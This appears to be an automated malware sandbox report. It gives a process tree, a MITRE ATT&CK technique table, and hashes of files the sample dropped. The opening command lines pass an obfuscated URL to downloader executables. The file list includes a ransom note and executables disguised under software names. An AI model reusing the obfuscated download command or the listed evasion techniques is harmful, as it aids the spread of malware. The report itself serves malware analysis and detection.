C:\Users\Admin\AppData\Local\formby.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:4724

C:\Users\Admin\AppData\Local\Temp\nswD0C5.tmp\Gittings.exe
C:\Users\Admin\AppData\Local\Temp\nswD0C5.tmp\Gittings.exe ""tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb""
2⤵
PID:5192

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc
1⤵
- Checks system information in the registry
- Modifies data under HKEY_USERS
PID:2780

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

New Service

T1050

Registry Run Keys / Startup Folder

T1060

Bootkit

T1067

Scheduled Task

T1053

Privilege Escalation

New Service

T1050

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

File Deletion

T1107

Virtualization/Sandbox Evasion

T1497

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Config.Msi\e5a3627.rbs
Filesize
200KB

MD5
07657001b54e4fd396703f9fd3365e50

SHA1
fd409f3e731b744cb428fc58ad1894362cfa32ed

SHA256
83ad792567bd30ea418fb6d662f152157e5dd0f123dfdf90bfe8546c051e2f58

SHA512
e81335efd28d3cf17adcc0093ed551135876ed01fd9cf8e40098935ff592377eeb67fce89623766cc30c4ea614d9dd53b76f11109f0743caad5a8460c08113db

Download Submit
C:\Program Files (x86)\Blocks\WebView2Loader.dll
Filesize
135KB

MD5
bceebc73cb9e3f239b99575c0d38951c

SHA1
d71033e74b44ae5584b6be1d4cc99e4094f5aadf

SHA256
f86b7be36295297de21bffccfde3cef776e175478592b4b16c3063b420723312

SHA512
2cac4b095a46ab625ba7e4c9297133df1ccf3e87eb45938fc65c3ffe6cac31204229f3f4cedc6e58244bf74c76fbe9f2fda7710c784c79814e5ee2ccfb1994e7

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\112.0.1722.34\Installer\setup.exe
Filesize
3.8MB

MD5
c105d65a7ed6572b0681b1b72b924c2b

SHA1
6594d416a722f3e457d0a677931cdd8a886196c1

SHA256
255318a6dc36b5ad26336f39566fc98a2b71e6ab0b3eca923f0f512ec7986430

SHA512
a65bebe056d8ba87374a6a6d4ced039aaa15084a0a10b3a8914f87d973d236de457108cc9bec3171e93752a9a3a9d2ae8a5da6b7c57534678cc9560570a42358

Download Submit
C:\Program Files (x86)\Microsoft\EdgeUpdate\Download\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\111.0.1661.62\MicrosoftEdge_X64_111.0.1661.62.exe
Filesize
135.1MB

MD5
9e53a4b678f4ecacf77c1f359ae4a065

SHA1
95fd5dc9d9dc82b0b703ac5a769a0458c5974b99

SHA256
813a086504ed035a14ece1fd994f8a07f6d132a10c95b9d90129266c3971ec3f

SHA512
5e3530e588715e3369627af264c4394104aea1a9e56a9c075394baadeb5a1886d79fbbf56d346f2eeda8bf32fe685e59aa73ddb68ec392d4f7a7ade0e475e66f

Download Submit
C:\Program Files (x86)\Microsoft\EdgeUpdate\Download\{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}\112.0.1722.34\MicrosoftEdge_X64_112.0.1722.34.exe
Filesize
135.9MB

MD5
2aec6fd4886456ed6003cd0e3461dd62

SHA1
153fc95e421f469d8a4bba947ad7100a626be648

SHA256
ea4ad67a644d46c8f4587e17a40999dbe4df0342b485478fd6e6c36f505eb2be

SHA512
c1cb89dd34bd38eed473855be30c07daa5b84a11bc2a6d21fa7699d88129508c99d8f899d4fb66b68c283156dc0a5d5322547079261f7271a58878a17bd1e90b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeUpdate\Download\{F3C4FE00-EFD5-403B-9569-398A20F1BA4A}\1.3.173.55\MicrosoftEdgeUpdateSetup_X86_1.3.173.55.exe
Filesize
1.5MB

MD5
b59dd0b3c4a92cdfc4c61c2932d31c40

SHA1
e325e59f569ba97c9a9fecfe64fc202509609589

SHA256
314d3cf516b614d1add7b827a866ae8433dd116773fe633cb3591371d3cf50b7

SHA512
71cb2b7083b9473c48e04a69c1f23f928c8a43d8099e59633a0ae10811d08ab58adf2c015d85eac95f0c6308b043d1b796e299bdb9c78873ee82d272153b9b11

Download Submit
C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
Filesize
201KB

MD5
4dc57ab56e37cd05e81f0d8aaafc5179

SHA1
494a90728d7680f979b0ad87f09b5b58f16d1cd5

SHA256
87c6f7d9b58f136aeb33c96dbfe3702083ec519aafca39be66778a9c27a68718

SHA512
320eeed88d7facf8c1f45786951ef81708c82cb89c63a3c820ee631c52ea913e64c4e21f0039c1b277cfb710c4d81cd2191878320d00fd006dd777c727d9dc2b

Download Submit
C:\Program Files (x86)\malaysians\Recombining.dll
Filesize
306KB

MD5
836a52dfca97f8391e9f181b7bb6c7be

SHA1
273a8fa58d9f3ae19ba12f136dd0c0bb01392268

SHA256
d3fd0f2444ccdadf638c94c900475fec0d8bf57c012bd651cee3ed715af26778

SHA512
56143c0c2ba55aa019e7b6abbd99a1108eaafabe87f9508a7b9efc171ce7318a59947e36191220750d6913b1e3a406db9fce133543825376e3606972df0177a0

Download Submit
C:\Program Files\7-Zip\Lang\HOW TO DECRYPT FILES.txt
Filesize
957B

MD5
a6120ea15b3e9776ed01eb70cb9dc2c7

SHA1
584b21ee76415e04e8e437ac8ded20ded3fdda86

SHA256
5f8cf6fc0b8da0e8ae1afd12ae7c7dbb63a2e8c8fb0cec3bce4abf83dbdbade1

SHA512
9892c254bddace38de963421bfc30a6ac55eea5386a6aadb2bf168184ad9faa10310474404434d1b314b4810d582daa00f601e292acd77e9b5172bdba7dfbf0d

Download Submit
C:\Program Files\Common Files\microsoft shared\ink\el-GR\index.com
Filesize
21KB

MD5
a589b7447a422c4e1a72bee0647c6f9a

SHA1
ddd36ce638b8232af5e43c6b5b819865d80aa093

SHA256
139241be461089a2afb85a2ce3d661ad9b37c32571e1f1334bf25e4f6d66e82a

SHA512
9923e3ecfb42c86e88a991aaa2e027ba983c62cbe554c4763371d747e741ddac1fa437297ca4e952bc2f3bc2bf60ba5e972401ba0e5d4fb987b14d1aa355bf84

Download Submit
C:\Program Files\Common Files\microsoft shared\ink\en-GB\Harry Potter.exe
Filesize
21KB

MD5
cf6b6365d1cd1e81d1360e7ef0c8e89f

SHA1
d17a2140b5c79a22ad73d66a48d0a51d0fa5a674

SHA256
140631acb3d885d244f421ceb4da6fbe38d6ea40624fe3aaee16c5b60f1ad4da

SHA512
bf77da75de9b0944a1abf1d46f6086575022af534133eb88b40fffc3c666cff6690f57b07937b782e779619b96c96488e1d4c2fcf896e73344c365cfb6de56cf

Download Submit
C:\Program Files\Common Files\microsoft shared\ink\es-MX\Winamp 5.0 (en).exe
Filesize
21KB

MD5
c53a73ea303c6163f830499f3cc69cb3

SHA1
6e578751be13b890c772ed5573acebb0b33b24fa

SHA256
6f40cb714843a408a1e48f2d8b8af9ea5d7cd54a4d3582a6cbec7877433bb18d

SHA512
94ab15e980c7cb8cad0193346b67d1d7bd6a46e72059e0b575eb1016b9dd46afcc08b6fb30efc6d38c55fdd7d3df01204793814947958bfb92ed77ca3821355e

Download Submit
C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\insert\ICQ 4 Lite.com
Filesize
21KB

MD5
f3ce7aef620cfc2e26aee8ce2456909b

SHA1
240eec0572db5d6554f70c4e258d68cadbc48d2e

SHA256
13171c54ff6a0bcb46df1ed659ad6ba0d61c9ff41202a233317ecb92c477a8e4

SHA512
b8da9c391c402edb70937a5d6fe007b929d0bd438339c94147218ee9e95844d1ddb81aec483933b9de0e04fa2834fd189ec5ce2d5266d951c5ee1b59ee84778e

Download Submit
C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskpred\Kazaa Lite.ShareReactor.com
Filesize
21KB

MD5
e20d6004c30ab672f76886f3b07b5d4e

SHA1
b78043a7aba00884d4e4cdaa156317ded02d880d

SHA256
01db1d512697ced6c23c42c59c45c703d04f1701266d6b9e31b1b295ed9f5ac4

SHA512
730a7afe950a05fd472ebfdc04d2f9095abd5dc04285aa1f92c7d4711a6e9343d4db8df1d80e5a22d9cf9d11971aa71bf488ae1035ddff106d6abed8d3c7b4bb

Download Submit
C:\Program Files\Java\jdk1.8.0_66\jre\bin\plugin2\msvcr100.dll
Filesize
809KB

MD5
708a6f85cabf0b22c4baaff9363c41c5

SHA1
a8b65d95f95a4a3b0d86e202037026634e3fd704

SHA256
9a914a4510e0e129d9737aa6c208feb1144e90d777e8982d17c019c0fbb563ef

SHA512
a046b674a149baf159787b29a1e89cdf4ecd6fd15153b4b71a786e9717249e16dc1c02d43a07e1727386895dbadf538d9859fc882c2575fc1513191c74c2cc3a

Download Submit
C:\Program Files\Java\jdk1.8.0_66\jre\lib\images\cursors\win32_MoveNoDrop32x32.gif
Filesize
153B

MD5
a9a776eb0893e42d74ce9b26cfca1465

SHA1
00a6d5d357c215e58e2b0563bd500d59b4a821f2

SHA256
c4f10c853484c0aaae1cf91dd84b0fe472096376b3af93db72f7232d4bd2d992

SHA512
d7482b8ba540a39b9917e7f408d166dfd9401b7c88ecedd05049a16524b5982b17ed7504f1e001edef027dd27294ba5238129a4769ab979e9c7a5b0ce095a6bf

Download Submit
C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\epl-v10.html
Filesize
12KB

MD5
840b756da93eb68d7c7874b1102de622

SHA1
62960149974a0b99a166f3bccf85c4fdbb0a56cd

SHA256
2d8b29c004d2bd927093a03310abd29c572328044208cce8c137810630cccb9a

SHA512
ab07ddf1b0650f03ed1f14d7fa0ed49002920b9390995f2702ed6ec6001aeb29fee7c8e1c960962397c3c3477d4b242d109286ddf88248ee7eaa6eff5b8a6818

Download Submit
C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\license.html
Filesize
8KB

MD5
7f0b20c2fd1135f17e8ab4359d113416

SHA1
425cb0afa3b025b0a13f29c47193fd5ae5c5da9c

SHA256
9d9e7db6e107dd55c70105a42ee1fe8aec40d2d3ed1950971d606625d99d89da

SHA512
41ff22b255b2de26977a18350eb8e67500bee6375f32da3fcea0d68b8cfcf710e2e4f2438326bc9f00773fd677602ec56a154c63f8a77cf8d68e6fb37b116e0f

Download Submit
C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\eclipse.inf
Filesize
57B

MD5
c1cd0d3c8780ba3d7edf45b3d1e76c25

SHA1
8adc10564e2e21ad75ef9af30051777c3c1defd2

SHA256
cb3842bce9192100a721a7170c967c3ed3b91830599b3c62251df9256caf4dfd

SHA512
f343a1e87070831b9255f0334a840a48fea4343ce2168d8c95b51b5461cd30589a0397a6b2d6de42ec1dfb33dbb43cd5a6a9c51770218748c720a265f03e1265

Download Submit
C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\asl-v20.txt
Filesize
11KB

MD5
4a939383a8879d5c298cd64b5e282fb4

SHA1
545c6971c9a7eee80e37d1672a74d71a4acb652c

SHA256
3cba054381559a4c32cbf2eadeb84e9a9cbad0822eecff1a9a14cda3d901b007

SHA512
f8bb642a63ba02891568e666eb38032ab99bb6f6b24b9c3a73b5ea662517917c54210d9649774142d8546109e37b84b97d2c2b32569f2e6ff2b9091af42f3ada

Download Submit
C:\Program Files\Java\jre1.8.0_66\THIRDPARTYLICENSEREADME-JAVAFX.txt
Filesize
107KB

MD5
0b9e61167e866b21984099d94db22178

SHA1
e73a84fccf899ba69a072aab3f05367851fae99d

SHA256
0ad839b9fe5d65daec1f79db3fd53bc93734b273104a7962f2da97e6e97a8402

SHA512
21bb0b482b56722a9772f21ef1c2335ac2dc55ed2e205f24ec62d38a1751809fb5c617b75d5ff05862d9bd5d9324f34f7edc0647ae55a8c04807c6b5f5a4248e

Download Submit
C:\Program Files\Java\jre1.8.0_66\THIRDPARTYLICENSEREADME.txt
Filesize
172KB

MD5
e519c7e7775e7fcc0df0e206fa5111f8

SHA1
1efce2ac97f5b9aa3943f9f085d9819f9afd29cb

SHA256
1832865feada2239573922496d50664f95dbbb46c22cd5806758b547b589a0bf

SHA512
52d1036ea80d97fb5a6a2c0aee97e58cde2c89be6cad35717bc977cd747816ba2697b367f8ed4c4ee798368bc300ef0540dc47e4855ab76fdffc5a4869549807

Download Submit
C:\Program Files\Microsoft Office\root\Office16\1033\ClientSub2019_eula.txt
Filesize
42B

MD5
65e7513837f602b680f7c562d7689ba8

SHA1
d38efb097818732f285ea1a4bf5d9442a5ff3638

SHA256
7a884cee63a46e1024de518aaa97e9233195fdec634611236cb13df151792b30

SHA512
1e0ebb34135f6b26290142d48915cfd8b153abd5787396c7b07dea489c8c9e79d0e341b93da4fac0ed53e9d9dd1552fe67854dd0b42b4ccc9ad2dee8aea306b8

Download Submit
C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.NetFX45.exe.config
Filesize
18B

MD5
d1a07403b1fecd2fba724cbbf80d5c95

SHA1
61a75b0f09f1424ce88aa602dacfa2c69f96e098

SHA256
b081de573bb6b567aeddb28b29a6d3952eed70d382ab81995dbf6b646bf71270

SHA512
f856230346fce13edbbf7e8d75c764e4b3fdf20c062360d2d2355280ec27eec756f4c0095b978eda49fc15c355c0dde3953f0da736305acf1482291280ff96bb

Download Submit
C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\zlibwapi.dll
Filesize
274KB

MD5
2d574e5a3d9d04312dbe3483ab574c41

SHA1
ec859414dc0684777fb5f2ba1c0298695668ee90

SHA256
642291a4f4e87db25c574835bbda2621a4a86b57a7f27ec5e628d64caae220a1

SHA512
719562856503bdd103f39594d3a301e2676514b23f8c69732e2de9aa0c93ae8af6bf3a6a825f2b255910e85831b96cd48d427d6dbf014a10c6eb71e74dd1d04a

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-core-file-l1-2-0.dll
Filesize
18KB

MD5
8c8449a6cf580749214408f8cde43719

SHA1
2d9da210127cb13fac30bf11b0d566909527a0e7

SHA256
4357deb23256c0c7407d0570a306ec9ced5fd998e7fce3d4fbd7a57281cbf850

SHA512
eb8349b1e222afe12fd97cd967fed4bd2d668f6019b7ffabb83c4495721a780f222b18ec2a6df1eb593ebd2bd934a11885397a9a3dbc4f91e8b4aec76f08c000

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-core-file-l2-1-0.dll
Filesize
18KB

MD5
a687a7e7e4bed44b5f4d5d057fba9dc3

SHA1
5a60b9a626b2c9cb37a78ec4ad71765ba70efc0d

SHA256
114e9b47f0f10bbea8b440aa8866f53d4ca3e981f5d872cc5d0a73301b4928c0

SHA512
47185bb6f5d6fcd63efe51d478faa3d05f99339ea43f1a10ed3c30356a1a95b400a2becc1b1e10be1f2e65a135c1f025c78c40779da6d1364b5824cde2e94df0

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-core-localization-l1-2-0.dll
Filesize
20KB

MD5
6fee4ccfb194db741fece1d5143e1791

SHA1
8ed75d3a40bb111f3fffa87dfc1fa92830e5240a

SHA256
a62e3ba4a32baa4763e642b92f403a873a74eecc23fc411feeb9721bcd7a9d4b

SHA512
691a8b889b3d983b282d7dfea7e038c799c474362a39bd8c8e698eeb2d984956870ef3cc3f6c1858f547a0083b05b9cf78e70ed3cccd8c35a1ea14fc9179ff32

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-core-processthreads-l1-1-1.dll
Filesize
18KB

MD5
b1b595bf6867692b4695d7186ec564c8

SHA1
2e1294918cbbcb8551d2e184a65cb701673f4108

SHA256
7aaa7901521eeef9a27d678847c16d7678ce2d41dc24bb6411f8a3bb752e1594

SHA512
426423f30995b4e2ecc5aeee9e4e48c84fa197abe226c61bba9d33f093fa380317df53045e5a41c88cd06ae5f17e5545809843996e8fa6174f1835f269fe8938

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-core-synch-l1-2-0.dll
Filesize
18KB

MD5
dc68d066844c2fecf68fb5eee9bf70e2

SHA1
eff88511a520c5162f32949b6efb120896e933ab

SHA256
52eb1cfe62e3cca1d47651ca577eb9725742511664ce25ef2d41582a7fec7530

SHA512
779c8bdf6fa944b9f04cf2044e38cc761a75937c13264ebcf49fcbaa0f947ff86a460ec935e50c92a4b0eb25b8b78ac5c0671ee64e87268408955c77b0adfeac

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-core-timezone-l1-1-0.dll
Filesize
18KB

MD5
00afd4bba6430a38648aaafdd1d2902b

SHA1
5d7a4dabc7cc33a870e539f518c836d31a7d6f56

SHA256
8f08006db586e4ae4e90b9f8420b49d2732cd3925cdab446d04e2e56cbd5d691

SHA512
be9d72cf3a633898698b960cc63b71a22a2815b1f5891e5abb910794ff6f23672d82a6bb3bd22b48c8e9f5daebcdc8ce5170bf8e2c95e6ad8bc3146e3f927dd9

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-core-xstate-l2-1-0.dll
Filesize
11KB

MD5
ebf0d88cc847697e1dc642d806776243

SHA1
053f440db9077a1666e51db93bc375fad2323358

SHA256
8038f849dd13bcbc8548a32608615517b13a53655a6458d58bec8c55d4662ebf

SHA512
bb92a14be0608918057f4560359eeb9165aa2664c47ff6c50a53911c6c9e1c6ec98535b7db9434ef785a39e3805f38cc7d7e423386ffca4dac130e672e9980a5

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-crt-conio-l1-1-0.dll
Filesize
19KB

MD5
85f0af4d630cc8d7b349ec8e3deaab06

SHA1
5335e8b293df791d6c35167ce99f141a741629cc

SHA256
e6e921d368a9498bc067ed456e289212d6232c5f4a3ff64fb1f07a054efc8e0b

SHA512
75f620564b2345641de47ef188d1caca81c7ea28cbd059e120794334fb6957b2e535c7659e2b38c5b6ce07c7c394a2cc6eb4359f1af7be2f02496c993b466ba1

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-crt-convert-l1-1-0.dll
Filesize
22KB

MD5
fc26a5d531a218e577a1171cfce452f5

SHA1
496076b5826135f4f5c504d6818ff44010e4a698

SHA256
de298d6bc345bf154e746695248fbd975d0abe122e7f69e6c1ec267766d85eda

SHA512
58de0590f3c3fe4cd14ffd9ad90d2bac823de72eccce87c6098105962c6d2999365293186bbc8bc743a2a61bd9813e644f17bb6e087dd5b4c851d6286b3b007d

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-crt-environment-l1-1-0.dll
Filesize
18KB

MD5
3265f89d4668496004f5621663e5b52c

SHA1
9721078de94783e716ed72c8e3f86f2963395523

SHA256
954c24b5f6fe2404bacaf0d50a022192aaaab3f88182c77ea369c5b426a3de8d

SHA512
cd5888baf5215647af74be36f3d735f207bdd6d3f16033494f96a9060ae846d7ebdc79075ca486e405b6812641fdd70817f5624f9829dde773d5c164af4a18b8

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-crt-filesystem-l1-1-0.dll
Filesize
20KB

MD5
ce3fc396835fd6ed7f3becc7a5fd7828

SHA1
bdc7e3a77be63afa9503b50ebb5801eba1f99fa5

SHA256
459dfa8e6458af46fa0da722b98f22d0b0b55cdfdab47e951d3050e12c46e588

SHA512
dcb17a8cafb756af722d049d66bc4a16c4f444dcee462de5933d6d5af3ae15866192ae9fed50eede271465ce1d5d3ec90e18286bc1befe957e0774dd6abf7a2b

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-crt-heap-l1-1-0.dll
Filesize
19KB

MD5
0fea30ac87774d9c406d8600ece6603c

SHA1
b58c9465baebf8fa37aab40ea08b0bbe664b968b

SHA256
fc5efb29d7b7ac39c926e10cd05c7e02df20b39d5b93dc01241dcf5064616097

SHA512
517090baed51fd839ad8a36990b67d38ebd3973ee6231a2381945a9e4f94a1c7f8ec1e29cd385171b156788fba1636765e13fa7162e3ae716942efd3677587ab

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-crt-locale-l1-1-0.dll
Filesize
18KB

MD5
0a949cf33e2ffd1a05a403540559e10d

SHA1
3d05b5c5e287f5de2555923e3e6a2f9a697d56af

SHA256
d4fa10c944bfa19abb4c80073d448ea2a463b039ddefc9d244dee1f4c8e7239f

SHA512
4a78c88a383f29c889e3b80992f46710c8a22ec3641c9de9db96522428959a5a3116fdfd935d1f42405ee44d91906e64dd16efe64562c88f65a66a4400b83f57

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-crt-math-l1-1-0.dll
Filesize
27KB

MD5
ea5a8b90be4e8bf21cbf9bb085352d5d

SHA1
0ed08a68ee7e66b2fd19c7f8f03350e6b1e0f588

SHA256
943b166d4e604421ab3425b663d90046ab46ebab6a9ffabc477bee3b9e6b8419

SHA512
742c1e85eef65dd4728c4ecd7593498c6ca25ed2fd689e555d29d08077b80ac3de482630e85c57b1e4732b787524986fb2295a5ff9894b43e5a6eb2301b1ddff

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-crt-multibyte-l1-1-0.dll
Filesize
26KB

MD5
7a70700e78f0b250307b6a1be7f2f6c0

SHA1
01a1b621a119eca5d91d9808e3b5ef00082f9951

SHA256
06fb13d46d44b7bbee1c31e15df2ffb3d2f34f8ab5214eaf4849e4d10693dac3

SHA512
f1a7815098a35d2f0619c3bdaa9b6efe78bf6540541783877ded03e2337cbe0e54bd5cbbb029659989a14d00ca5970e335c48ca1a7a0d109381fa9117ef72cb2

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-crt-private-l1-1-0.dll
Filesize
69KB

MD5
3d74915f092586e5f30545bb804b8c3e

SHA1
9e91153c8f8a27a81db10d3d9b31e85cf23abadf

SHA256
f7103651ecd09bd35aa352e9b0161ac4471cfcd6b7e08088f22a8afe2bb97288

SHA512
1b7ae06ac7bbbe3ea36f880939777eb49d210407af7c41111d39d23af07201b798afe6f6cfa339a09096cf1b52e087e93bc9c1267af2b8874e545c336e36e959

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-crt-process-l1-1-0.dll
Filesize
19KB

MD5
41aeababb3e756b9d162c93f13bf65aa

SHA1
e7c8c55c6c285eb5d511458732d19429255be40c

SHA256
12fb28594a0ec81f17fb3c5ff6fe4055517f8abf41dcc459c0ba50daf7289e1b

SHA512
364b19f8730de034ab78799e87849c7763383d92b724344de887e90ace084eb2d8b761f4395e648890550af041a3c9b90b3a45f052e4d80cd38fb6f2d38c199a

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-crt-runtime-l1-1-0.dll
Filesize
22KB

MD5
b0f725c3de7dcb8169baea9ed37ce6d3

SHA1
07e057fc703258de1b83caea054acf2c03494617

SHA256
2eef32e9c4392079452af8ab1c2172eca24bc6e972cbd66e260fe42cd3898238

SHA512
56c87521ac3b63373d374c8212dec9336b4f9c6b8c6cddaff7bbe64caa9ee710ac8b10b0d5c1c8a78d6bf7e136773ac1c031c00129c1fea569fc04463651da72

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-crt-stdio-l1-1-0.dll
Filesize
24KB

MD5
93a1859de686c27eae2170b6727819a7

SHA1
e7e42d297dfc598402044d57e330e9f671199cd2

SHA256
3568bcd8ed4f88bd3206f913d03f930f2a3e2fbf5a02f3c179efd95f5efef322

SHA512
5eddb382e29536b0ec1a8056c7fc2b4001f003f58da38f749a89e8a7d5fcfe389caf7ac4cbdbc85ad3b9afe69a1698e637676a1efce17ac801d76373eb346805

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-crt-string-l1-1-0.dll
Filesize
24KB

MD5
a5000a4d58ddc1b534d818d6f1bffb9b

SHA1
8f5a5dceb3f6619a3a40b471a006daa12281a8e2

SHA256
31fef4295b62ed53368e80443c260e36f3f806123b8c148cb5ebc6379ae774e3

SHA512
f7b788b529bbfda94c7b56fd755ba0effa352b4cf846a67ebdcc2e364297ad0ca5844954a932359b13108f159895a5dfad4ff4f90966acf356cd868d1f950f47

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-crt-time-l1-1-0.dll
Filesize
20KB

MD5
1d677cc29c31764a521dab69f967d38b

SHA1
968fa2e5e98e6fcfd9fc80159c4e8d4a68f6e409

SHA256
736bfe2e0cec4bf4011369b9d031d6db3fe07bdace3ea2b1a7843f02ec2b6179

SHA512
5ce89b9f73ae8c5ec04d75fc4f81956523adacfa7d4e4f91ba0670b6793067ce307aa22858c74a9b195d509a64420179e686a90fb33e65bb9243f390cae11351

Download Submit
C:\Program Files\Microsoft Office\root\Office16\api-ms-win-crt-utility-l1-1-0.dll
Filesize
18KB

MD5
aa7bf2b00f83c9a99116d0f01d2281b1

SHA1
61fe9db5cf838b663f22cab586abedea6220c238

SHA256
c32a8076409ea2b64b1d222d4fdff285980f9d5205b5261b5fb44883eae2eb10

SHA512
4792494cc6db8ced4b8c46b8bf8586d9bd455e9c6ac84d874807cf669f389a5c8ff2efd6dd748c7fe9e4453ac9152b14e0a32ae9d7932716df9cb13e075394db

Download Submit
C:\Program Files\Microsoft Office\root\Office16\concrt140.dll
Filesize
324KB

MD5
fd5e72c0962ffc08880815065dcb8dee

SHA1
0386a822bca6193bc7b682bc63dc8e22e67ae38d

SHA256
1c175f227a45b0ceca270b1605998334ae7236ca41133b770d3ab49f12f354b9

SHA512
bf62415396726b5a768b98df00380ce309b47b76b63debc97d2baf8831c8f70a5c962fb69c96da454ed7436d6924ee31135907b2dd82e2b1c8e461a87ba60c9e

Download Submit
C:\Program Files\Microsoft Office\root\Office16\vccorlib140.dll
Filesize
358KB

MD5
0dbc5e98669f5506e44473811caf5a8b

SHA1
75cafc8b3ef9f31f19340e04cf07bebaa5b6bd5c

SHA256
500248b1bedb6f7d4c70abd1a694a6deb4f378a247dc0fa9c4bbb56d7b78e248

SHA512
184a6bb5382ebafcb8e62418a454fab1981b3da3256febb46ada3f66ca7d8a3b47e417d123b995862f9dc34f932ba1ca7f5e084a9f7291023ff102c25ce11cbd

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\1033\osmia32.msi
Filesize
3.0MB

MD5
d95b6bd9e808b03308c4fa418b50b781

SHA1
52f04886aaa4ec0d98d05365a4618c516133e72f

SHA256
4d7d9720adf35c4c7f36b493a9a7df5618d32e482b01b2ae8400f35d6df28495

SHA512
4bc419f00ab503512a7142e26dadb8a8762a5a4675aa45732114efd2d03614e41238eb06597b83bb6d97a962407ceb9410b3b4c4eedfa3eb281b936ea7e2fae4

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\mfc140u.dll
Filesize
5.6MB

MD5
934d94328a6c1a544a6ed15ac0f35e2c

SHA1
7a61ba3faf75169dd4434d15dcec732d1fbe05cc

SHA256
6bb444c5f9f15eaa49603cdb3a2c18d00264f0208f91c23f95909285dbe84ce8

SHA512
59d987a579d9a3aa56008c348b3e3564d1dd4f57c491b607b7cf76c0c408e40030367a7310a1834e10f46b8e1c581e6c8d07700e023e8e4ea6193f686ee7fd33

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\msvcp120.dll
Filesize
644KB

MD5
7eebb7e7fe2f471e52e805df6ca27367

SHA1
44d6ddfe8ad18729a323f7cb2de22eba7af4d107

SHA256
338fa35872b99addd2dd790bb58e6543cb6a3ec68919a9dfa5a25984fdac8ce1

SHA512
bd76abf000ea59a92bd217a973ec39c3125b46e4e240c1d3c16a96346a2f31c55891c546a93a349184c84ecefe23f5445885d606bd8fc29ee9dcfce2be0635b4

Download Submit
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\msvcp140.dll
Filesize
613KB

MD5
7781eac04f4f97d4f69ea2d3ad07b914

SHA1
79a4f3cb3dcb6abc118816ac3539269b5c8aa66d

SHA256
959f6b1e6e8426bc718b3a9059d965557b5eab1a4243a2fbdee8ebe97f256dec

SHA512
